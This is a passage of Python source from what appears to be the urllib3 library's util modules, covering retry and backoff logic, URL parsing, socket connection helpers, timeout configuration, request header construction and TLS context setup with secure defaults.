        response = http.request('GET', 'http://example.com/', retries=Retry(10))

    Retries can be disabled by passing ``False``::

        response = http.request('GET', 'http://example.com/', retries=False)

    Errors will be wrapped in :class:`~urllib3.exceptions.MaxRetryError` unless
    retries are disabled, in which case the causing exception will be raised.

    :param int total:
        Total number of retries to allow. Takes precedence over other counts.

        Set to ``None`` to remove this constraint and fall back on other
        counts. It's a good idea to set this to some sensibly-high value to
        account for unexpected edge cases and avoid infinite retry loops.

        Set to ``0`` to fail on the first retry.

        Set to ``False`` to disable and imply ``raise_on_redirect=False``.

    :param int connect:
        How many connection-related errors to retry on.

        These are errors raised before the request is sent to the remote server,
        which we assume has not triggered the server to process the request.

        Set to ``0`` to fail on the first retry of this type.

    :param int read:
        How many times to retry on read errors.

        These errors are raised after the request was sent to the server, so the
        request may have side-effects.

        Set to ``0`` to fail on the first retry of this type.

    :param int redirect:
        How many redirects to perform. Limit this to avoid infinite redirect
        loops.

        A redirect is a HTTP response with a status code 301, 302, 303, 307 or
        308.

        Set to ``0`` to fail on the first retry of this type.

        Set to ``False`` to disable and imply ``raise_on_redirect=False``.

    :param iterable method_whitelist:
        Set of uppercased HTTP method verbs that we should retry on.

        By default, we only retry on methods which are considered to be
        idempotent (multiple requests with the same parameters end with the
        same state). See :attr:`Retry.DEFAULT_METHOD_WHITELIST`.

        Set to a ``False`` value to retry on any verb.

    :param iterable status_forcelist:
        A set of integer HTTP status codes that we should force a retry on.
        A retry is initiated if the request method is in ``method_whitelist``
        and the response status code is in ``status_forcelist``.

        By default, this is disabled with ``None``.

    :param float backoff_factor:
        A backoff factor to apply between attempts after the second try
        (most errors are resolved immediately by a second try without a
        delay). urllib3 will sleep for::

            {backoff factor} * (2 ^ ({number of total retries} - 1))

        seconds. If the backoff_factor is 0.1, then :func:`.sleep` will sleep
        for [0.0s, 0.2s, 0.4s, ...] between retries. It will never be longer
        than :attr:`Retry.BACKOFF_MAX`.

        By default, backoff is disabled (set to 0).

    :param bool raise_on_redirect: Whether, if the number of redirects is
        exhausted, to raise a MaxRetryError, or to return a response with a
        response code in the 3xx range.

    :param bool raise_on_status: Similar meaning to ``raise_on_redirect``:
        whether we should raise an exception, or return a response,
        if status falls in ``status_forcelist`` range and retries have
        been exhausted.
    """

    DEFAULT_METHOD_WHITELIST = frozenset([
        'HEAD', 'GET', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'])

    #: Maximum backoff time.
    BACKOFF_MAX = 120

    def __init__(self, total=10, connect=None, read=None, redirect=None,
                 method_whitelist=DEFAULT_METHOD_WHITELIST, status_forcelist=None,
                 backoff_factor=0, raise_on_redirect=True, raise_on_status=True,
                 _observed_errors=0):

        self.total = total
        self.connect = connect
        self.read = read

        if redirect is False or total is False:
            redirect = 0
            raise_on_redirect = False

        self.redirect = redirect
        self.status_forcelist = status_forcelist or set()
        self.method_whitelist = method_whitelist
        self.backoff_factor = backoff_factor
        self.raise_on_redirect = raise_on_redirect
        self.raise_on_status = raise_on_status
        self._observed_errors = _observed_errors  # TODO: use .history instead?

    def new(self, **kw):
        params = dict(
            total=self.total,
            connect=self.connect, read=self.read, redirect=self.redirect,
            method_whitelist=self.method_whitelist,
            status_forcelist=self.status_forcelist,
            backoff_factor=self.backoff_factor,
            raise_on_redirect=self.raise_on_redirect,
            raise_on_status=self.raise_on_status,
            _observed_errors=self._observed_errors,
        )
        params.update(kw)
        return type(self)(**params)

    @classmethod
    def from_int(cls, retries, redirect=True, default=None):
        """ Backwards-compatibility for the old retries format."""
        if retries is None:
            retries = default if default is not None else cls.DEFAULT

        if isinstance(retries, Retry):
            return retries

        redirect = bool(redirect) and None
        new_retries = cls(retries, redirect=redirect)
        log.debug("Converted retries value: %r -> %r", retries, new_retries)
        return new_retries

    def get_backoff_time(self):
        """ Formula for computing the current backoff

        :rtype: float
        """
        if self._observed_errors <= 1:
            return 0

        backoff_value = self.backoff_factor * (2 ** (self._observed_errors - 1))
        return min(self.BACKOFF_MAX, backoff_value)

    def sleep(self):
        """ Sleep between retry attempts using an exponential backoff.

        By default, the backoff factor is 0 and this method will return
        immediately.
        """
        backoff = self.get_backoff_time()
        if backoff <= 0:
            return
        time.sleep(backoff)

    def _is_connection_error(self, err):
        """ Errors when we're fairly sure that the server did not receive the
        request, so it should be safe to retry.
        """
        return isinstance(err, ConnectTimeoutError)

    def _is_read_error(self, err):
        """ Errors that occur after the request has been started, so we should
        assume that the server began processing it.
        """
        return isinstance(err, (ReadTimeoutError, ProtocolError))

    def is_forced_retry(self, method, status_code):
        """ Is this method/status code retryable? (Based on method/codes whitelists)
        """
        if self.method_whitelist and method.upper() not in self.method_whitelist:
            return False

        return self.status_forcelist and status_code in self.status_forcelist

    def is_exhausted(self):
        """ Are we out of retries? """
        retry_counts = (self.total, self.connect, self.read, self.redirect)
        retry_counts = list(filter(None, retry_counts))
        if not retry_counts:
            return False

        return min(retry_counts) < 0

    def increment(self, method=None, url=None, response=None, error=None,
                  _pool=None, _stacktrace=None):
        """ Return a new Retry object with incremented retry counters.

        :param response: A response object, or None, if the server did not
            return a response.
        :type response: :class:`~urllib3.response.HTTPResponse`
        :param Exception error: An error encountered during the request, or
            None if the response was received successfully.

        :return: A new ``Retry`` object.
        """
        if self.total is False and error:
            # Disabled, indicate to re-raise the error.
            raise six.reraise(type(error), error, _stacktrace)

        total = self.total
        if total is not None:
            total -= 1

        _observed_errors = self._observed_errors
        connect = self.connect
        read = self.read
        redirect = self.redirect
        cause = 'unknown'

        if error and self._is_connection_error(error):
            # Connect retry?
            if connect is False:
                raise six.reraise(type(error), error, _stacktrace)
            elif connect is not None:
                connect -= 1
            _observed_errors += 1

        elif error and self._is_read_error(error):
            # Read retry?
            if read is False:
                raise six.reraise(type(error), error, _stacktrace)
            elif read is not None:
                read -= 1
            _observed_errors += 1

        elif response and response.get_redirect_location():
            # Redirect retry?
            if redirect is not None:
                redirect -= 1
            cause = 'too many redirects'

        else:
            # Incrementing because of a server error like a 500 in
            # status_forcelist and a the given method is in the whitelist
            _observed_errors += 1
            cause = ResponseError.GENERIC_ERROR
            if response and response.status:
                cause = ResponseError.SPECIFIC_ERROR.format(
                    status_code=response.status)

        new_retry = self.new(
            total=total,
            connect=connect, read=read, redirect=redirect,
            _observed_errors=_observed_errors)

        if new_retry.is_exhausted():
            raise MaxRetryError(_pool, url, error or ResponseError(cause))

        log.debug("Incremented Retry for (url='%s'): %r", url, new_retry)

        return new_retry

    def __repr__(self):
        return ('{cls.__name__}(total={self.total}, connect={self.connect}, '
                'read={self.read}, redirect={self.redirect})').format(
                    cls=type(self), self=self)


# For backwards compatibility (equivalent to pre-v1.9):
Retry.DEFAULT = Retry(3)






from __future__ import absolute_import
from collections import namedtuple

from ..exceptions import LocationParseError


url_attrs = ['scheme', 'auth', 'host', 'port', 'path', 'query', 'fragment']


class Url(namedtuple('Url', url_attrs)):
    """
    Datastructure for representing an HTTP URL. Used as a return value for
    :func:`parse_url`.
    """
    slots = ()

    def __new__(cls, scheme=None, auth=None, host=None, port=None, path=None,
                query=None, fragment=None):
        if path and not path.startswith('/'):
            path = '/' + path
        return super(Url, cls).__new__(cls, scheme, auth, host, port, path,
                                       query, fragment)

    @property
    def hostname(self):
        """For backwards-compatibility with urlparse. We're nice like that."""
        return self.host

    @property
    def request_uri(self):
        """Absolute path including the query string."""
        uri = self.path or '/'

        if self.query is not None:
            uri += '?' + self.query

        return uri

    @property
    def netloc(self):
        """Network location including host and port"""
        if self.port:
            return '%s:%d' % (self.host, self.port)
        return self.host

    @property
    def url(self):
        """
        Convert self into a url

        This function should more or less round-trip with :func:`.parse_url`. The
        returned url may not be exactly the same as the url inputted to
        :func:`.parse_url`, but it should be equivalent by the RFC (e.g., urls
        with a blank port will have : removed).

        Example: ::

            >>> U = parse_url('http://google.com/mail/')
            >>> U.url
            'http://google.com/mail/'
            >>> Url('http', 'username:password', 'host.com', 80,
            ... '/path', 'query', 'fragment').url
            'http://username:password@host.com:80/path?query#fragment'
        """
        scheme, auth, host, port, path, query, fragment = self
        url = ''

        # We use "is not None" we want things to happen with empty strings (or 0 port)
        if scheme is not None:
            url += scheme + '://'
        if auth is not None:
            url += auth + '@'
        if host is not None:
            url += host
        if port is not None:
            url += ':' + str(port)
        if path is not None:
            url += path
        if query is not None:
            url += '?' + query
        if fragment is not None:
            url += '#' + fragment

        return url

    def __str__(self):
        return self.url


def split_first(s, delims):
    """
    Given a string and an iterable of delimiters, split on the first found
    delimiter. Return two split parts and the matched delimiter.

    If not found, then the first part is the full input string.

    Example::

        >>> split_first('foo/bar?baz', '?/=')
        ('foo', 'bar?baz', '/')
        >>> split_first('foo/bar?baz', '123')
        ('foo/bar?baz', '', None)

    Scales linearly with number of delims. Not ideal for large number of delims.
    """
    min_idx = None
    min_delim = None
    for d in delims:
        idx = s.find(d)
        if idx < 0:
            continue

        if min_idx is None or idx < min_idx:
            min_idx = idx
            min_delim = d

    if min_idx is None or min_idx < 0:
        return s, '', None

    return s[:min_idx], s[min_idx + 1:], min_delim


def parse_url(url):
    """
    Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is
    performed to parse incomplete urls. Fields not provided will be None.

    Partly backwards-compatible with :mod:`urlparse`.

    Example::

        >>> parse_url('http://google.com/mail/')
        Url(scheme='http', host='google.com', port=None, path='/mail/', ...)
        >>> parse_url('google.com:80')
        Url(scheme=None, host='google.com', port=80, path=None, ...)
        >>> parse_url('/foo?bar')
        Url(scheme=None, host=None, port=None, path='/foo', query='bar', ...)
    """

    # While this code has overlap with stdlib's urlparse, it is much
    # simplified for our needs and less annoying.
    # Additionally, this implementations does silly things to be optimal
    # on CPython.

    if not url:
        # Empty
        return Url()

    scheme = None
    auth = None
    host = None
    port = None
    path = None
    fragment = None
    query = None

    # Scheme
    if '://' in url:
        scheme, url = url.split('://', 1)

    # Find the earliest Authority Terminator
    # (http://tools.ietf.org/html/rfc3986#section-3.2)
    url, path_, delim = split_first(url, ['/', '?', '#'])

    if delim:
        # Reassemble the path
        path = delim + path_

    # Auth
    if '@' in url:
        # Last '@' denotes end of auth part
        auth, url = url.rsplit('@', 1)

    # IPv6
    if url and url[0] == '[':
        host, url = url.split(']', 1)
        host += ']'

    # Port
    if ':' in url:
        _host, port = url.split(':', 1)

        if not host:
            host = _host

        if port:
            # If given, ports must be integers.
            if not port.isdigit():
                raise LocationParseError(url)
            port = int(port)
        else:
            # Blank ports are cool, too. (rfc3986#section-3.2.3)
            port = None

    elif not host and url:
        host = url

    if not path:
        return Url(scheme, auth, host, port, path, query, fragment)

    # Fragment
    if '#' in path:
        path, fragment = path.split('#', 1)

    # Query
    if '?' in path:
        path, query = path.split('?', 1)

    return Url(scheme, auth, host, port, path, query, fragment)


def get_host(url):
    """
    Deprecated. Use :func:`.parse_url` instead.
    """
    p = parse_url(url)
    return p.scheme or 'http', p.hostname, p.port






from __future__ import absolute_import
import socket
try:
    from select import poll, POLLIN
except ImportError:  # `poll` doesn't exist on OSX and other platforms
    poll = False
    try:
        from select import select
    except ImportError:  # `select` doesn't exist on AppEngine.
        select = False


def is_connection_dropped(conn):  # Platform-specific
    """
    Returns True if the connection is dropped and should be closed.

    :param conn:
        :class:`httplib.HTTPConnection` object.

    Note: For platforms like AppEngine, this will always return ``False`` to
    let the platform handle connection recycling transparently for us.
    """
    sock = getattr(conn, 'sock', False)
    if sock is False:  # Platform-specific: AppEngine
        return False
    if sock is None:  # Connection already closed (such as by httplib).
        return True

    if not poll:
        if not select:  # Platform-specific: AppEngine
            return False

        try:
            return select([sock], [], [], 0.0)[0]
        except socket.error:
            return True

    # This version is better on platforms that support it.
    p = poll()
    p.register(sock, POLLIN)
    for (fno, ev) in p.poll(0.0):
        if fno == sock.fileno():
            # Either data is buffered (bad), or the connection is dropped.
            return True


# This function is copied from socket.py in the Python 2.7 standard
# library test suite. Added to its signature is only `socket_options`.
# One additional modification is that we avoid binding to IPv6 servers
# discovered in DNS if the system doesn't have IPv6 functionality.
def create_connection(address, timeout=socket._GLOBAL_DEFAULT_TIMEOUT,
                      source_address=None, socket_options=None):
    """Connect to *address* and return the socket object.

    Convenience function.  Connect to *address* (a 2-tuple ``(host,
    port)``) and return the socket object.  Passing the optional
    *timeout* parameter will set the timeout on the socket instance
    before attempting to connect.  If no *timeout* is supplied, the
    global default timeout setting returned by :func:`getdefaulttimeout`
    is used.  If *source_address* is set it must be a tuple of (host, port)
    for the socket to bind as a source address before making the connection.
    An host of '' or port 0 tells the OS to use the default.
    """

    host, port = address
    if host.startswith('['):
        host = host.strip('[]')
    err = None

    # Using the value from allowed_gai_family() in the context of getaddrinfo lets
    # us select whether to work with IPv4 DNS records, IPv6 records, or both.
    # The original create_connection function always returns all records.
    family = allowed_gai_family()

    for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM):
        af, socktype, proto, canonname, sa = res
        sock = None
        try:
            sock = socket.socket(af, socktype, proto)

            # If provided, set socket level options before connecting.
            _set_socket_options(sock, socket_options)

            if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT:
                sock.settimeout(timeout)
            if source_address:
                sock.bind(source_address)
            sock.connect(sa)
            return sock

        except socket.error as e:
            err = e
            if sock is not None:
                sock.close()
                sock = None

    if err is not None:
        raise err

    raise socket.error("getaddrinfo returns an empty list")


def _set_socket_options(sock, options):
    if options is None:
        return

    for opt in options:
        sock.setsockopt(*opt)


def allowed_gai_family():
    """This function is designed to work in the context of
    getaddrinfo, where family=socket.AF_UNSPEC is the default and
    will perform a DNS search for both IPv6 and IPv4 records."""

    family = socket.AF_INET
    if HAS_IPV6:
        family = socket.AF_UNSPEC
    return family


def _has_ipv6(host):
    """ Returns True if the system can bind an IPv6 address. """
    sock = None
    has_ipv6 = False

    if socket.has_ipv6:
        # has_ipv6 returns true if cPython was compiled with IPv6 support.
        # It does not tell us if the system has IPv6 support enabled. To
        # determine that we must bind to an IPv6 address.
        # https://github.com/shazow/urllib3/pull/611
        # https://bugs.python.org/issue658327
        try:
            sock = socket.socket(socket.AF_INET6)
            sock.bind((host, 0))
            has_ipv6 = True
        except Exception:
            pass

    if sock:
        sock.close()
    return has_ipv6

HAS_IPV6 = _has_ipv6('::1')






from __future__ import absolute_import
# The default socket timeout, used by httplib to indicate that no timeout was
# specified by the user
from socket import _GLOBAL_DEFAULT_TIMEOUT
import time

from ..exceptions import TimeoutStateError

# A sentinel value to indicate that no timeout was specified by the user in
# urllib3
_Default = object()


def current_time():
    """
    Retrieve the current time. This function is mocked out in unit testing.
    """
    return time.time()


class Timeout(object):
    """ Timeout configuration.

    Timeouts can be defined as a default for a pool::

        timeout = Timeout(connect=2.0, read=7.0)
        http = PoolManager(timeout=timeout)
        response = http.request('GET', 'http://example.com/')

    Or per-request (which overrides the default for the pool)::

        response = http.request('GET', 'http://example.com/', timeout=Timeout(10))

    Timeouts can be disabled by setting all the parameters to ``None``::

        no_timeout = Timeout(connect=None, read=None)
        response = http.request('GET', 'http://example.com/, timeout=no_timeout)


    :param total:
        This combines the connect and read timeouts into one; the read timeout
        will be set to the time leftover from the connect attempt. In the
        event that both a connect timeout and a total are specified, or a read
        timeout and a total are specified, the shorter timeout will be applied.

        Defaults to None.

    :type total: integer, float, or None

    :param connect:
        The maximum amount of time to wait for a connection attempt to a server
        to succeed. Omitting the parameter will default the connect timeout to
        the system default, probably `the global default timeout in socket.py
        <http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535>`_.
        None will set an infinite timeout for connection attempts.

    :type connect: integer, float, or None

    :param read:
        The maximum amount of time to wait between consecutive
        read operations for a response from the server. Omitting
        the parameter will default the read timeout to the system
        default, probably `the global default timeout in socket.py
        <http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535>`_.
        None will set an infinite timeout.

    :type read: integer, float, or None

    .. note::

        Many factors can affect the total amount of time for urllib3 to return
        an HTTP response.

        For example, Python's DNS resolver does not obey the timeout specified
        on the socket. Other factors that can affect total request time include
        high CPU load, high swap, the program running at a low priority level,
        or other behaviors.

        In addition, the read and total timeouts only measure the time between
        read operations on the socket connecting the client and the server,
        not the total amount of time for the request to return a complete
        response. For most requests, the timeout is raised because the server
        has not sent the first byte in the specified time. This is not always
        the case; if a server streams one byte every fifteen seconds, a timeout
        of 20 seconds will not trigger, even though the request will take
        several minutes to complete.

        If your goal is to cut off any request after a set amount of wall clock
        time, consider having a second "watcher" thread to cut off a slow
        request.
    """

    #: A sentinel object representing the default timeout value
    DEFAULT_TIMEOUT = _GLOBAL_DEFAULT_TIMEOUT

    def __init__(self, total=None, connect=_Default, read=_Default):
        self._connect = self._validate_timeout(connect, 'connect')
        self._read = self._validate_timeout(read, 'read')
        self.total = self._validate_timeout(total, 'total')
        self._start_connect = None

    def __str__(self):
        return '%s(connect=%r, read=%r, total=%r)' % (
            type(self).__name__, self._connect, self._read, self.total)

    @classmethod
    def _validate_timeout(cls, value, name):
        """ Check that a timeout attribute is valid.

        :param value: The timeout value to validate
        :param name: The name of the timeout attribute to validate. This is
            used to specify in error messages.
        :return: The validated and casted version of the given value.
        :raises ValueError: If the type is not an integer or a float, or if it
            is a numeric value less than zero.
        """
        if value is _Default:
            return cls.DEFAULT_TIMEOUT

        if value is None or value is cls.DEFAULT_TIMEOUT:
            return value

        try:
            float(value)
        except (TypeError, ValueError):
            raise ValueError("Timeout value %s was %s, but it must be an "
                             "int or float." % (name, value))

        try:
            if value < 0:
                raise ValueError("Attempted to set %s timeout to %s, but the "
                                 "timeout cannot be set to a value less "
                                 "than 0." % (name, value))
        except TypeError:  # Python 3
            raise ValueError("Timeout value %s was %s, but it must be an "
                             "int or float." % (name, value))

        return value

    @classmethod
    def from_float(cls, timeout):
        """ Create a new Timeout from a legacy timeout value.

        The timeout value used by httplib.py sets the same timeout on the
        connect(), and recv() socket requests. This creates a :class:`Timeout`
        object that sets the individual timeouts to the ``timeout`` value
        passed to this function.

        :param timeout: The legacy timeout value.
        :type timeout: integer, float, sentinel default object, or None
        :return: Timeout object
        :rtype: :class:`Timeout`
        """
        return Timeout(read=timeout, connect=timeout)

    def clone(self):
        """ Create a copy of the timeout object

        Timeout properties are stored per-pool but each request needs a fresh
        Timeout object to ensure each one has its own start/stop configured.

        :return: a copy of the timeout object
        :rtype: :class:`Timeout`
        """
        # We can't use copy.deepcopy because that will also create a new object
        # for _GLOBAL_DEFAULT_TIMEOUT, which socket.py uses as a sentinel to
        # detect the user default.
        return Timeout(connect=self._connect, read=self._read,
                       total=self.total)

    def start_connect(self):
        """ Start the timeout clock, used during a connect() attempt

        :raises urllib3.exceptions.TimeoutStateError: if you attempt
            to start a timer that has been started already.
        """
        if self._start_connect is not None:
            raise TimeoutStateError("Timeout timer has already been started.")
        self._start_connect = current_time()
        return self._start_connect

    def get_connect_duration(self):
        """ Gets the time elapsed since the call to :meth:`start_connect`.

        :return: Elapsed time.
        :rtype: float
        :raises urllib3.exceptions.TimeoutStateError: if you attempt
            to get duration for a timer that hasn't been started.
        """
        if self._start_connect is None:
            raise TimeoutStateError("Can't get connect duration for timer "
                                    "that has not started.")
        return current_time() - self._start_connect

    @property
    def connect_timeout(self):
        """ Get the value to use when setting a connection timeout.

        This will be a positive float or integer, the value None
        (never timeout), or the default system timeout.

        :return: Connect timeout.
        :rtype: int, float, :attr:`Timeout.DEFAULT_TIMEOUT` or None
        """
        if self.total is None:
            return self._connect

        if self._connect is None or self._connect is self.DEFAULT_TIMEOUT:
            return self.total

        return min(self._connect, self.total)

    @property
    def read_timeout(self):
        """ Get the value for the read timeout.

        This assumes some time has elapsed in the connection timeout and
        computes the read timeout appropriately.

        If self.total is set, the read timeout is dependent on the amount of
        time taken by the connect timeout. If the connection time has not been
        established, a :exc:`~urllib3.exceptions.TimeoutStateError` will be
        raised.

        :return: Value to use for the read timeout.
        :rtype: int, float, :attr:`Timeout.DEFAULT_TIMEOUT` or None
        :raises urllib3.exceptions.TimeoutStateError: If :meth:`start_connect`
            has not yet been called on this object.
        """
        if (self.total is not None and
                self.total is not self.DEFAULT_TIMEOUT and
                self._read is not None and
                self._read is not self.DEFAULT_TIMEOUT):
            # In case the connect timeout has not yet been established.
            if self._start_connect is None:
                return self._read
            return max(0, min(self.total - self.get_connect_duration(),
                              self._read))
        elif self.total is not None and self.total is not self.DEFAULT_TIMEOUT:
            return max(0, self.total - self.get_connect_duration())
        else:
            return self._read






from __future__ import absolute_import
from base64 import b64encode

from ..packages.six import b

ACCEPT_ENCODING = 'gzip,deflate'


def make_headers(keep_alive=None, accept_encoding=None, user_agent=None,
                 basic_auth=None, proxy_basic_auth=None, disable_cache=None):
    """
    Shortcuts for generating request headers.

    :param keep_alive:
        If ``True``, adds 'connection: keep-alive' header.

    :param accept_encoding:
        Can be a boolean, list, or string.
        ``True`` translates to 'gzip,deflate'.
        List will get joined by comma.
        String will be used as provided.

    :param user_agent:
        String representing the user-agent you want, such as
        "python-urllib3/0.6"

    :param basic_auth:
        Colon-separated username:password string for 'authorization: basic ...'
        auth header.

    :param proxy_basic_auth:
        Colon-separated username:password string for 'proxy-authorization: basic ...'
        auth header.

    :param disable_cache:
        If ``True``, adds 'cache-control: no-cache' header.

    Example::

        >>> make_headers(keep_alive=True, user_agent="Batman/1.0")
        {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'}
        >>> make_headers(accept_encoding=True)
        {'accept-encoding': 'gzip,deflate'}
    """
    headers = {}
    if accept_encoding:
        if isinstance(accept_encoding, str):
            pass
        elif isinstance(accept_encoding, list):
            accept_encoding = ','.join(accept_encoding)
        else:
            accept_encoding = ACCEPT_ENCODING
        headers['accept-encoding'] = accept_encoding

    if user_agent:
        headers['user-agent'] = user_agent

    if keep_alive:
        headers['connection'] = 'keep-alive'

    if basic_auth:
        headers['authorization'] = 'Basic ' + \
            b64encode(b(basic_auth)).decode('utf-8')

    if proxy_basic_auth:
        headers['proxy-authorization'] = 'Basic ' + \
            b64encode(b(proxy_basic_auth)).decode('utf-8')

    if disable_cache:
        headers['cache-control'] = 'no-cache'

    return headers






from __future__ import absolute_import
# For backwards compatibility, provide imports that used to be here.
from .connection import is_connection_dropped
from .request import make_headers
from .response import is_fp_closed
from .ssl_ import (
    SSLContext,
    HAS_SNI,
    IS_PYOPENSSL,
    assert_fingerprint,
    resolve_cert_reqs,
    resolve_ssl_version,
    ssl_wrap_socket,
)
from .timeout import (
    current_time,
    Timeout,
)

from .retry import Retry
from .url import (
    get_host,
    parse_url,
    split_first,
    Url,
)

__all__ = (
    'HAS_SNI',
    'IS_PYOPENSSL',
    'SSLContext',
    'Retry',
    'Timeout',
    'Url',
    'assert_fingerprint',
    'current_time',
    'is_connection_dropped',
    'is_fp_closed',
    'get_host',
    'parse_url',
    'make_headers',
    'resolve_cert_reqs',
    'resolve_ssl_version',
    'split_first',
    'ssl_wrap_socket',
)






from __future__ import absolute_import
import errno
import warnings
import hmac

from binascii import hexlify, unhexlify
from hashlib import md5, sha1, sha256

from ..exceptions import SSLError, InsecurePlatformWarning, SNIMissingWarning


SSLContext = None
HAS_SNI = False
create_default_context = None
IS_PYOPENSSL = False

# Maps the length of a digest to a possible hash function producing this digest
HASHFUNC_MAP = {
    32: md5,
    40: sha1,
    64: sha256,
}


def _const_compare_digest_backport(a, b):
    """
    Compare two digests of equal length in constant time.

    The digests must be of type str/bytes.
    Returns True if the digests match, and False otherwise.
    """
    result = abs(len(a) - len(b))
    for l, r in zip(bytearray(a), bytearray(b)):
        result |= l ^ r
    return result == 0


_const_compare_digest = getattr(hmac, 'compare_digest',
                                _const_compare_digest_backport)


try:  # Test for SSL features
    import ssl
    from ssl import wrap_socket, CERT_NONE, PROTOCOL_SSLv23
    from ssl import HAS_SNI  # Has SNI?
except ImportError:
    pass


try:
    from ssl import OP_NO_SSLv2, OP_NO_SSLv3, OP_NO_COMPRESSION
except ImportError:
    OP_NO_SSLv2, OP_NO_SSLv3 = 0x1000000, 0x2000000
    OP_NO_COMPRESSION = 0x20000

# A secure default.
# Sources for more information on TLS ciphers:
#
# - https://wiki.mozilla.org/Security/Server_Side_TLS
# - https://www.ssllabs.com/projects/best-practices/index.html
# - https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/
#
# The general intent is:
# - Prefer cipher suites that offer perfect forward secrecy (DHE/ECDHE),
# - prefer ECDHE over DHE for better performance,
# - prefer any AES-GCM over any AES-CBC for better performance and security,
# - use 3DES as fallback which is secure but slow,
# - disable NULL authentication, MD5 MACs and DSS for security reasons.
DEFAULT_CIPHERS = (
    'ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+HIGH:'
    'DH+HIGH:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+HIGH:RSA+3DES:!aNULL:'
    '!eNULL:!MD5'
)

try:
    from ssl import SSLContext  # Modern SSL?
except ImportError:
    import sys

    class SSLContext(object):  # Platform-specific: Python 2 & 3.1
        supports_set_ciphers = ((2, 7) <= sys.version_info < (3,) or
                                (3, 2) <= sys.version_info)

        def __init__(self, protocol_version):
            self.protocol = protocol_version
            # Use default values from a real SSLContext
            self.check_hostname = False
            self.verify_mode = ssl.CERT_NONE
            self.ca_certs = None
            self.options = 0
            self.certfile = None
            self.keyfile = None
            self.ciphers = None

        def load_cert_chain(self, certfile, keyfile):
            self.certfile = certfile
            self.keyfile = keyfile

        def load_verify_locations(self, cafile=None, capath=None):
            self.ca_certs = cafile

            if capath is not None:
                raise SSLError("CA directories not supported in older Pythons")

        def set_ciphers(self, cipher_suite):
            if not self.supports_set_ciphers:
                raise TypeError(
                    'Your version of Python does not support setting '
                    'a custom cipher suite. Please upgrade to Python '
                    '2.7, 3.2, or later if you need this functionality.'
                )
            self.ciphers = cipher_suite

        def wrap_socket(self, socket, server_hostname=None, server_side=False):
            warnings.warn(
                'A true SSLContext object is not available. This prevents '
                'urllib3 from configuring SSL appropriately and may cause '
                'certain SSL connections to fail. You can upgrade to a newer '
                'version of Python to solve this. For more information, see '
                'https://urllib3.readthedocs.io/en/latest/security.html'
                '#insecureplatformwarning.',
                InsecurePlatformWarning
            )
            kwargs = {
                'keyfile': self.keyfile,
                'certfile': self.certfile,
                'ca_certs': self.ca_certs,
                'cert_reqs': self.verify_mode,
                'ssl_version': self.protocol,
                'server_side': server_side,
            }
            if self.supports_set_ciphers:  # Platform-specific: Python 2.7+
                return wrap_socket(socket, ciphers=self.ciphers, **kwargs)
            else:  # Platform-specific: Python 2.6
                return wrap_socket(socket, **kwargs)


def assert_fingerprint(cert, fingerprint):
    """
    Checks if given fingerprint matches the supplied certificate.

    :param cert:
        Certificate as bytes object.
    :param fingerprint:
        Fingerprint as string of hexdigits, can be interspersed by colons.
    """

    fingerprint = fingerprint.replace(':', '').lower()
    digest_length = len(fingerprint)
    hashfunc = HASHFUNC_MAP.get(digest_length)
    if not hashfunc:
        raise SSLError(
            'Fingerprint of invalid length: {0}'.format(fingerprint))

    # We need encode() here for py32; works on py2 and p33.
    fingerprint_bytes = unhexlify(fingerprint.encode())

    cert_digest = hashfunc(cert).digest()

    if not _const_compare_digest(cert_digest, fingerprint_bytes):
        raise SSLError('Fingerprints did not match. Expected "{0}", got "{1}".'
                       .format(fingerprint, hexlify(cert_digest)))


def resolve_cert_reqs(candidate):
    """
    Resolves the argument to a numeric constant, which can be passed to
    the wrap_socket function/method from the ssl module.
    Defaults to :data:`ssl.CERT_NONE`.
    If given a string it is assumed to be the name of the constant in the
    :mod:`ssl` module or its abbrevation.
    (So you can specify `REQUIRED` instead of `CERT_REQUIRED`.
    If it's neither `None` nor a string we assume it is already the numeric
    constant which can directly be passed to wrap_socket.
    """
    if candidate is None:
        return CERT_NONE

    if isinstance(candidate, str):
        res = getattr(ssl, candidate, None)
        if res is None:
            res = getattr(ssl, 'CERT_' + candidate)
        return res

    return candidate


def resolve_ssl_version(candidate):
    """
    like resolve_cert_reqs
    """
    if candidate is None:
        return PROTOCOL_SSLv23

    if isinstance(candidate, str):
        res = getattr(ssl, candidate, None)
        if res is None:
            res = getattr(ssl, 'PROTOCOL_' + candidate)
        return res

    return candidate


def create_urllib3_context(ssl_version=None, cert_reqs=None,
                           options=None, ciphers=None):
    """All arguments have the same meaning as ``ssl_wrap_socket``.

    By default, this function does a lot of the same work that
    ``ssl.create_default_context`` does on Python 3.4+. It:

    - Disables SSLv2, SSLv3, and compression
    - Sets a restricted set of server ciphers

    If you wish to enable SSLv3, you can do::

        from urllib3.util import ssl_
        context = ssl_.create_urllib3_context()
        context.options &= ~ssl_.OP_NO_SSLv3

    You can do the same to enable compression (substituting ``COMPRESSION``
    for ``SSLv3`` in the last line above).

    :param ssl_version:
        The desired protocol version to use. This will default to
        PROTOCOL_SSLv23 which will negotiate the highest protocol that both
        the server and your installation of OpenSSL support.
    :param cert_reqs:
        Whether to require the certificate verification. This defaults to
        ``ssl.CERT_REQUIRED``.
    :param options:
        Specific OpenSSL options. These default to ``ssl.OP_NO_SSLv2``,
        ``ssl.OP_NO_SSLv3``, ``ssl.OP_NO_COMPRESSION``.
    :param ciphers:
        Which cipher suites to allow the server to select.
    :returns:
        Constructed SSLContext object with specified options
    :rtype: SSLContext
    """
    context = SSLContext(ssl_version or ssl.PROTOCOL_SSLv23)

    # Setting the default here, as we may have no ssl module on import
    cert_reqs = ssl.CERT_REQUIRED if cert_reqs is None else cert_reqs

    if options is None:
        options = 0
        # SSLv2 is easily broken and is considered harmful and dangerous
        options |= OP_NO_SSLv2
        # SSLv3 has several problems and is now dangerous
        options |= OP_NO_SSLv3
        # Disable compression to prevent CRIME attacks for OpenSSL 1.0+
        # (issue #309)
        options |= OP_NO_COMPRESSION

    context.options |= options

    if getattr(context, 'supports_set_ciphers', True):  # Platform-specific: Python 2.6
